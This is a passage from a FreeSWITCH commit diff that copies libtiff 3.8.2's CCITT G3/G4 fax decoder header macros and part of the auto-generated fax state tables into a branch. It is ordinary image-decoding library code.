+ * To override the default routine used to image decoded
+ * spans one can use the pseduo tag TIFFTAG_FAXFILLFUNC.
+ * The routine must have the type signature given below;
+ * for example:
+ *
+ * fillruns(unsigned char* buf, uint32* runs, uint32* erun, uint32 lastx)
+ *
+ * where buf is place to set the bits, runs is the array of b&w run
+ * lengths (white then black), erun is the last run in the array, and
+ * lastx is the width of the row in pixels.  Fill routines can assume
+ * the run array has room for at least lastx runs and can overwrite
+ * data in the run array as needed (e.g. to append zero runs to bring
+ * the count up to a nice multiple).
+ */
+typedef	void (*TIFFFaxFillFunc)(unsigned char*, uint32*, uint32*, uint32);
+
+/*
+ * The default run filler; made external for other decoders.
+ */
+#if defined(__cplusplus)
+extern "C" {
+#endif
+extern	void _TIFFFax3fillruns(unsigned char*, uint32*, uint32*, uint32);
+#if defined(__cplusplus)
+}
+#endif
+
+
+/* finite state machine codes */
+#define S_Null		0
+#define S_Pass		1
+#define S_Horiz		2
+#define S_V0		3
+#define S_VR		4
+#define S_VL		5
+#define S_Ext		6
+#define S_TermW		7
+#define S_TermB		8
+#define S_MakeUpW	9
+#define S_MakeUpB	10
+#define S_MakeUp	11
+#define S_EOL		12
+
+typedef struct {		/* state table entry */
+	unsigned char State;	/* see above */
+	unsigned char Width;	/* width of code in bits */
+	uint32	Param;		/* unsigned 32-bit run length in bits */
+} TIFFFaxTabEnt;
+
+extern	const TIFFFaxTabEnt TIFFFaxMainTable[];
+extern	const TIFFFaxTabEnt TIFFFaxWhiteTable[];
+extern	const TIFFFaxTabEnt TIFFFaxBlackTable[];
+
+/*
+ * The following macros define the majority of the G3/G4 decoder
+ * algorithm using the state tables defined elsewhere.  To build
+ * a decoder you need some setup code and some glue code. Note
+ * that you may also need/want to change the way the NeedBits*
+ * macros get input data if, for example, you know the data to be
+ * decoded is properly aligned and oriented (doing so before running
+ * the decoder can be a big performance win).
+ *
+ * Consult the decoder in the TIFF library for an idea of what you
+ * need to define and setup to make use of these definitions.
+ *
+ * NB: to enable a debugging version of these macros define FAX3_DEBUG
+ *     before including this file.  Trace output goes to stdout.
+ */
+
+#ifndef EndOfData
+#define EndOfData()	(cp >= ep)
+#endif
+/*
+ * Need <=8 or <=16 bits of input data.  Unlike viewfax we
+ * cannot use/assume a word-aligned, properly bit swizzled
+ * input data set because data may come from an arbitrarily
+ * aligned, read-only source such as a memory-mapped file.
+ * Note also that the viewfax decoder does not check for
+ * running off the end of the input data buffer.  This is
+ * possible for G3-encoded data because it prescans the input
+ * data to count EOL markers, but can cause problems for G4
+ * data.  In any event, we don't prescan and must watch for
+ * running out of data since we can't permit the library to
+ * scan past the end of the input data buffer.
+ *
+ * Finally, note that we must handle remaindered data at the end
+ * of a strip specially.  The coder asks for a fixed number of
+ * bits when scanning for the next code.  This may be more bits
+ * than are actually present in the data stream.  If we appear
+ * to run out of data but still have some number of valid bits
+ * remaining then we makeup the requested amount with zeros and
+ * return successfully.  If the returned data is incorrect then
+ * we should be called again and get a premature EOF error;
+ * otherwise we should get the right answer.
+ */
+#ifndef NeedBits8
+#define NeedBits8(n,eoflab) do {					\
+    if (BitsAvail < (n)) {						\
+	if (EndOfData()) {						\
+	    if (BitsAvail == 0)			/* no valid bits */	\
+		goto eoflab;						\
+	    BitsAvail = (n);			/* pad with zeros */	\
+	} else {							\
+	    BitAcc |= ((uint32) bitmap[*cp++])<<BitsAvail;		\
+	    BitsAvail += 8;						\
+	}								\
+    }									\
+} while (0)
+#endif
+#ifndef NeedBits16
+#define NeedBits16(n,eoflab) do {					\
+    if (BitsAvail < (n)) {						\
+	if (EndOfData()) {						\
+	    if (BitsAvail == 0)			/* no valid bits */	\
+		goto eoflab;						\
+	    BitsAvail = (n);			/* pad with zeros */	\
+	} else {							\
+	    BitAcc |= ((uint32) bitmap[*cp++])<<BitsAvail;		\
+	    if ((BitsAvail += 8) < (n)) {				\
+		if (EndOfData()) {					\
+		    /* NB: we know BitsAvail is non-zero here */	\
+		    BitsAvail = (n);		/* pad with zeros */	\
+		} else {						\
+		    BitAcc |= ((uint32) bitmap[*cp++])<<BitsAvail;	\
+		    BitsAvail += 8;					\
+		}							\
+	    }								\
+	}								\
+    }									\
+} while (0)
+#endif
+#define GetBits(n)	(BitAcc & ((1<<(n))-1))
+#define ClrBits(n) do {							\
+    BitsAvail -= (n);							\
+    BitAcc >>= (n);							\
+} while (0)
+
+#ifdef FAX3_DEBUG
+static const char* StateNames[] = {
+    "Null   ",
+    "Pass   ",
+    "Horiz  ",
+    "V0     ",
+    "VR     ",
+    "VL     ",
+    "Ext    ",
+    "TermW  ",
+    "TermB  ",
+    "MakeUpW",
+    "MakeUpB",
+    "MakeUp ",
+    "EOL    ",
+};
+#define DEBUG_SHOW putchar(BitAcc & (1 << t) ? '1' : '0')
+#define LOOKUP8(wid,tab,eoflab) do {					\
+    int t;								\
+    NeedBits8(wid,eoflab);						\
+    TabEnt = tab + GetBits(wid);					\
+    printf("%08lX/%d: %s%5d\t", (long) BitAcc, BitsAvail,		\
+	   StateNames[TabEnt->State], TabEnt->Param);			\
+    for (t = 0; t < TabEnt->Width; t++)					\
+	DEBUG_SHOW;							\
+    putchar('\n');							\
+    fflush(stdout);							\
+    ClrBits(TabEnt->Width);						\
+} while (0)
+#define LOOKUP16(wid,tab,eoflab) do {					\
+    int t;								\
+    NeedBits16(wid,eoflab);						\
+    TabEnt = tab + GetBits(wid);					\
+    printf("%08lX/%d: %s%5d\t", (long) BitAcc, BitsAvail,		\
+	   StateNames[TabEnt->State], TabEnt->Param);			\
+    for (t = 0; t < TabEnt->Width; t++)					\
+	DEBUG_SHOW;							\
+    putchar('\n');							\
+    fflush(stdout);							\
+    ClrBits(TabEnt->Width);						\
+} while (0)
+
+#define SETVALUE(x) do {							\
+    *pa++ = RunLength + (x);						\
+    printf("SETVALUE: %d\t%d\n", RunLength + (x), a0);			\
+    a0 += x;								\
+    RunLength = 0;							\
+} while (0)
+#else
+#define LOOKUP8(wid,tab,eoflab) do {					\
+    NeedBits8(wid,eoflab);						\
+    TabEnt = tab + GetBits(wid);					\
+    ClrBits(TabEnt->Width);						\
+} while (0)
+#define LOOKUP16(wid,tab,eoflab) do {					\
+    NeedBits16(wid,eoflab);						\
+    TabEnt = tab + GetBits(wid);					\
+    ClrBits(TabEnt->Width);						\
+} while (0)
+
+/*
+ * Append a run to the run length array for the
+ * current row and reset decoding state.
+ */
+#define SETVALUE(x) do {							\
+    *pa++ = RunLength + (x);						\
+    a0 += (x);								\
+    RunLength = 0;							\
+} while (0)
+#endif
+
+/*
+ * Synchronize input decoding at the start of each
+ * row by scanning for an EOL (if appropriate) and
+ * skipping any trash data that might be present
+ * after a decoding error.  Note that the decoding
+ * done elsewhere that recognizes an EOL only consumes
+ * 11 consecutive zero bits.  This means that if EOLcnt
+ * is non-zero then we still need to scan for the final flag
+ * bit that is part of the EOL code.
+ */
+#define	SYNC_EOL(eoflab) do {						\
+    if (EOLcnt == 0) {							\
+	for (;;) {							\
+	    NeedBits16(11,eoflab);					\
+	    if (GetBits(11) == 0)					\
+		break;							\
+	    ClrBits(1);							\
+	}								\
+    }									\
+    for (;;) {								\
+	NeedBits8(8,eoflab);						\
+	if (GetBits(8))							\
+	    break;							\
+	ClrBits(8);							\
+    }									\
+    while (GetBits(1) == 0)						\
+	ClrBits(1);							\
+    ClrBits(1);				/* EOL bit */			\
+    EOLcnt = 0;				/* reset EOL counter/flag */	\
+} while (0)
+
+/*
+ * Cleanup the array of runs after decoding a row.
+ * We adjust final runs to insure the user buffer is not
+ * overwritten and/or undecoded area is white filled.
+ */
+#define	CLEANUP_RUNS() do {						\
+    if (RunLength)							\
+	SETVALUE(0);							\
+    if (a0 != lastx) {							\
+	badlength(a0, lastx);						\
+	while (a0 > lastx && pa > thisrun)				\
+	    a0 -= *--pa;						\
+	if (a0 < lastx) {						\
+	    if (a0 < 0)							\
+		a0 = 0;							\
+	    if ((pa-thisrun)&1)						\
+		SETVALUE(0);						\
+	    SETVALUE(lastx - a0);						\
+	} else if (a0 > lastx) {					\
+	    SETVALUE(lastx);						\
+	    SETVALUE(0);							\
+	}								\
+    }									\
+} while (0)
+
+/*
+ * Decode a line of 1D-encoded data.
+ *
+ * The line expanders are written as macros so that they can be reused
+ * but still have direct access to the local variables of the "calling"
+ * function.
+ *
+ * Note that unlike the original version we have to explicitly test for
+ * a0 >= lastx after each black/white run is decoded.  This is because
+ * the original code depended on the input data being zero-padded to
+ * insure the decoder recognized an EOL before running out of data.
+ */
+#define EXPAND1D(eoflab) do {						\
+    for (;;) {								\
+	for (;;) {							\
+	    LOOKUP16(12, TIFFFaxWhiteTable, eof1d);			\
+	    switch (TabEnt->State) {					\
+	    case S_EOL:							\
+		EOLcnt = 1;						\
+		goto done1d;						\
+	    case S_TermW:						\
+		SETVALUE(TabEnt->Param);					\
+		goto doneWhite1d;					\
+	    case S_MakeUpW:						\
+	    case S_MakeUp:						\
+		a0 += TabEnt->Param;					\
+		RunLength += TabEnt->Param;				\
+		break;							\
+	    default:							\
+		unexpected("WhiteTable", a0);				\
+		goto done1d;						\
+	    }								\
+	}								\
+    doneWhite1d:							\
+	if (a0 >= lastx)						\
+	    goto done1d;						\
+	for (;;) {							\
+	    LOOKUP16(13, TIFFFaxBlackTable, eof1d);			\
+	    switch (TabEnt->State) {					\
+	    case S_EOL:							\
+		EOLcnt = 1;						\
+		goto done1d;						\
+	    case S_TermB:						\
+		SETVALUE(TabEnt->Param);					\
+		goto doneBlack1d;					\
+	    case S_MakeUpB:						\
+	    case S_MakeUp:						\
+		a0 += TabEnt->Param;					\
+		RunLength += TabEnt->Param;				\
+		break;							\
+	    default:							\
+		unexpected("BlackTable", a0);				\
+		goto done1d;						\
+	    }								\
+	}								\
+    doneBlack1d:							\
+	if (a0 >= lastx)						\
+	    goto done1d;						\
+        if( *(pa-1) == 0 && *(pa-2) == 0 )				\
+            pa -= 2;                                                    \
+    }									\
+eof1d:									\
+    prematureEOF(a0);							\
+    CLEANUP_RUNS();							\
+    goto eoflab;							\
+done1d:									\
+    CLEANUP_RUNS();							\
+} while (0)
+
+/*
+ * Update the value of b1 using the array
+ * of runs for the reference line.
+ */
+#define CHECK_b1 do {							\
+    if (pa != thisrun) while (b1 <= a0 && b1 < lastx) {			\
+	b1 += pb[0] + pb[1];						\
+	pb += 2;							\
+    }									\
+} while (0)
+
+/*
+ * Expand a row of 2D-encoded data.
+ */
+#define EXPAND2D(eoflab) do {						\
+    while (a0 < lastx) {						\
+	LOOKUP8(7, TIFFFaxMainTable, eof2d);				\
+	switch (TabEnt->State) {					\
+	case S_Pass:							\
+	    CHECK_b1;							\
+	    b1 += *pb++;						\
+	    RunLength += b1 - a0;					\
+	    a0 = b1;							\
+	    b1 += *pb++;						\
+	    break;							\
+	case S_Horiz:							\
+	    if ((pa-thisrun)&1) {					\
+		for (;;) {	/* black first */			\
+		    LOOKUP16(13, TIFFFaxBlackTable, eof2d);		\
+		    switch (TabEnt->State) {				\
+		    case S_TermB:					\
+			SETVALUE(TabEnt->Param);				\
+			goto doneWhite2da;				\
+		    case S_MakeUpB:					\
+		    case S_MakeUp:					\
+			a0 += TabEnt->Param;				\
+			RunLength += TabEnt->Param;			\
+			break;						\
+		    default:						\
+			goto badBlack2d;				\
+		    }							\
+		}							\
+	    doneWhite2da:;						\
+		for (;;) {	/* then white */			\
+		    LOOKUP16(12, TIFFFaxWhiteTable, eof2d);		\
+		    switch (TabEnt->State) {				\
+		    case S_TermW:					\
+			SETVALUE(TabEnt->Param);				\
+			goto doneBlack2da;				\
+		    case S_MakeUpW:					\
+		    case S_MakeUp:					\
+			a0 += TabEnt->Param;				\
+			RunLength += TabEnt->Param;			\
+			break;						\
+		    default:						\
+			goto badWhite2d;				\
+		    }							\
+		}							\
+	    doneBlack2da:;						\
+	    } else {							\
+		for (;;) {	/* white first */			\
+		    LOOKUP16(12, TIFFFaxWhiteTable, eof2d);		\
+		    switch (TabEnt->State) {				\
+		    case S_TermW:					\
+			SETVALUE(TabEnt->Param);				\
+			goto doneWhite2db;				\
+		    case S_MakeUpW:					\
+		    case S_MakeUp:					\
+			a0 += TabEnt->Param;				\
+			RunLength += TabEnt->Param;			\
+			break;						\
+		    default:						\
+			goto badWhite2d;				\
+		    }							\
+		}							\
+	    doneWhite2db:;						\
+		for (;;) {	/* then black */			\
+		    LOOKUP16(13, TIFFFaxBlackTable, eof2d);		\
+		    switch (TabEnt->State) {				\
+		    case S_TermB:					\
+			SETVALUE(TabEnt->Param);				\
+			goto doneBlack2db;				\
+		    case S_MakeUpB:					\
+		    case S_MakeUp:					\
+			a0 += TabEnt->Param;				\
+			RunLength += TabEnt->Param;			\
+			break;						\
+		    default:						\
+			goto badBlack2d;				\
+		    }							\
+		}							\
+	    doneBlack2db:;						\
+	    }								\
+	    CHECK_b1;							\
+	    break;							\
+	case S_V0:							\
+	    CHECK_b1;							\
+	    SETVALUE(b1 - a0);						\
+	    b1 += *pb++;						\
+	    break;							\
+	case S_VR:							\
+	    CHECK_b1;							\
+	    SETVALUE(b1 - a0 + TabEnt->Param);				\
+	    b1 += *pb++;						\
+	    break;							\
+	case S_VL:							\
+	    CHECK_b1;							\
+	    SETVALUE(b1 - a0 - TabEnt->Param);				\
+	    b1 -= *--pb;						\
+	    break;							\
+	case S_Ext:							\
+	    *pa++ = lastx - a0;						\
+	    extension(a0);						\
+	    goto eol2d;							\
+	case S_EOL:							\
+	    *pa++ = lastx - a0;						\
+	    NeedBits8(4,eof2d);						\
+	    if (GetBits(4))						\
+		unexpected("EOL", a0);					\
+            ClrBits(4);                                                 \
+	    EOLcnt = 1;							\
+	    goto eol2d;							\
+	default:							\
+	badMain2d:							\
+	    unexpected("MainTable", a0);				\
+	    goto eol2d;							\
+	badBlack2d:							\
+	    unexpected("BlackTable", a0);				\
+	    goto eol2d;							\
+	badWhite2d:							\
+	    unexpected("WhiteTable", a0);				\
+	    goto eol2d;							\
+	eof2d:								\
+	    prematureEOF(a0);						\
+	    CLEANUP_RUNS();						\
+	    goto eoflab;						\
+	}								\
+    }									\
+    if (RunLength) {							\
+	if (RunLength + a0 < lastx) {					\
+	    /* expect a final V0 */					\
+	    NeedBits8(1,eof2d);						\
+	    if (!GetBits(1))						\
+		goto badMain2d;						\
+	    ClrBits(1);							\
+	}								\
+	SETVALUE(0);							\
+    }									\
+eol2d:									\
+    CLEANUP_RUNS();							\
+} while (0)
+#endif /* _FAX3_ */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3sm.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3sm.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_fax3sm.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3sm.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3sm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1253 @@
+/* WARNING, this file was automatically generated by the
+    mkg3states program */
+#include "tiff.h"
+#include "tif_fax3.h"
+ const TIFFFaxTabEnt TIFFFaxMainTable[128] = {
+{12,7,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},{1,4,0},{3,1,0},
+{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},{5,6,2},{3,1,0},{5,3,1},{3,1,0},
+{2,3,0},{3,1,0},{4,3,1},{3,1,0},{1,4,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},
+{4,3,1},{3,1,0},{5,7,3},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},
+{1,4,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},{4,6,2},{3,1,0},
+{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},{1,4,0},{3,1,0},{5,3,1},{3,1,0},
+{2,3,0},{3,1,0},{4,3,1},{3,1,0},{6,7,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},
+{4,3,1},{3,1,0},{1,4,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},
+{5,6,2},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},{1,4,0},{3,1,0},
+{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},{4,7,3},{3,1,0},{5,3,1},{3,1,0},
+{2,3,0},{3,1,0},{4,3,1},{3,1,0},{1,4,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},
+{4,3,1},{3,1,0},{4,6,2},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0},
+{1,4,0},{3,1,0},{5,3,1},{3,1,0},{2,3,0},{3,1,0},{4,3,1},{3,1,0}
+};
+ const TIFFFaxTabEnt TIFFFaxWhiteTable[4096] = {
+{12,11,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},
+{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1472},{7,4,5},{7,8,43},{7,6,17},{9,9,1216},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},
+{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,960},{7,4,6},{7,8,31},{7,5,8},
+{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,9,704},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,11,1792},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},
+{9,9,832},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},
+{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1600},{7,4,5},
+{7,8,44},{7,6,17},{9,9,1344},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},
+{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1088},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},
+{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},
+{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},
+{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},
+{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1536},{7,4,5},{7,8,43},{7,6,17},
+{9,9,1280},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},
+{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},
+{7,8,41},{7,6,16},{9,9,1024},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,768},{7,4,6},
+{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{11,11,1856},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},
+{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,40},{7,6,16},{9,9,896},{7,4,6},{7,7,19},{7,5,8},
+{7,8,56},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},
+{7,8,54},{7,5,9},{9,8,512},{7,4,6},{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1728},{7,4,5},{7,8,44},{7,6,17},{9,9,1408},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},
+{7,8,62},{7,4,4},{7,4,2},{7,4,7},{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},
+{9,9,1152},{7,4,6},{7,8,32},{7,5,8},{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},
+{7,7,25},{7,6,15},{9,8,384},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},
+{7,7,21},{7,6,17},{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{0,0,0},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,7,20},{9,5,128},{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},
+{7,7,27},{7,4,5},{7,8,39},{7,6,16},{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},
+{9,8,448},{7,4,6},{7,8,35},{9,5,128},{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},
+{7,6,13},{7,4,3},{9,9,1472},{7,4,5},{7,8,43},{7,6,17},{9,9,1216},{7,4,6},{7,6,1},{7,5,8},
+{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},
+{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},
+{7,4,2},{7,4,7},{7,8,47},{7,4,3},{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,960},{7,4,6},
+{7,8,31},{7,5,8},{7,8,57},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},
+{7,5,11},{7,4,5},{7,7,26},{7,5,9},{9,9,704},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},
+{9,8,320},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},
+{9,7,256},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{11,12,2112},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},
+{7,7,24},{7,6,14},{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},
+{7,8,40},{7,6,16},{9,9,832},{7,4,6},{7,7,19},{7,5,8},{7,8,56},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,46},{7,4,3},{7,5,11},{7,4,5},{7,8,54},{7,5,9},{9,8,512},{7,4,6},
+{7,8,36},{9,5,128},{7,8,52},{7,6,15},{7,8,0},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},
+{9,9,1600},{7,4,5},{7,8,44},{7,6,17},{9,9,1344},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,8,30},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},
+{9,6,1664},{7,4,6},{7,8,34},{9,5,128},{7,8,50},{7,6,14},{7,8,62},{7,4,4},{7,4,2},{7,4,7},
+{7,8,48},{7,4,3},{7,8,60},{7,4,5},{7,8,42},{7,6,16},{9,9,1088},{7,4,6},{7,8,32},{7,5,8},
+{7,8,58},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},
+{7,7,26},{7,5,9},{9,8,640},{7,4,6},{7,8,38},{9,5,128},{7,7,25},{7,6,15},{9,8,384},{7,4,4},
+{7,4,2},{7,4,7},{7,6,13},{7,4,3},{7,7,18},{7,4,5},{7,7,21},{7,6,17},{9,7,256},{7,4,6},
+{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},{0,0,0},{7,4,3},
+{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},{7,7,20},{9,5,128},{7,7,24},{7,6,14},
+{7,7,28},{7,4,4},{7,4,2},{7,4,7},{7,7,23},{7,4,3},{7,7,27},{7,4,5},{7,8,39},{7,6,16},
+{9,8,576},{7,4,6},{7,7,19},{7,5,8},{7,8,55},{9,5,64},{7,5,10},{7,4,4},{7,4,2},{7,4,7},
+{7,8,45},{7,4,3},{7,5,11},{7,4,5},{7,8,53},{7,5,9},{9,8,448},{7,4,6},{7,8,35},{9,5,128},
+{7,8,51},{7,6,15},{7,8,63},{7,4,4},{7,4,2},{7,4,7},{7,6,13},{7,4,3},{9,9,1536},{7,4,5},
+{7,8,43},{7,6,17},{9,9,1280},{7,4,6},{7,6,1},{7,5,8},{9,6,192},{9,5,64},{7,5,10},{7,4,4},
+{7,4,2},{7,4,7},{7,8,29},{7,4,3},{7,5,11},{7,4,5},{7,6,12},{7,5,9},{9,6,1664},{7,4,6},
+{7,8,33},{9,5,128},{7,8,49},{7,6,14},{7,8,61},{7,4,4},{7,4,2},{7,4,7},{7,8,47},{7,4,3},
+{7,8,59},{7,4,5},{7,8,41},{7,6,16},{9,9,1024},{7,4,6},{7,8,31},{7,5,8},{7,8,57},{9,5,64},
+{7,5,10},{7,4,4},{7,4,2},{7,4,7},{7,7,22},{7,4,3},{7,5,11},{7,4,5},{7,7,26},{7,5,9},
+{9,9,768},{7,4,6},{7,8,37},{9,5,128},{7,7,25},{7,6,15},{9,8,320},{7,4,4},{7,4,2},{7,4,7},
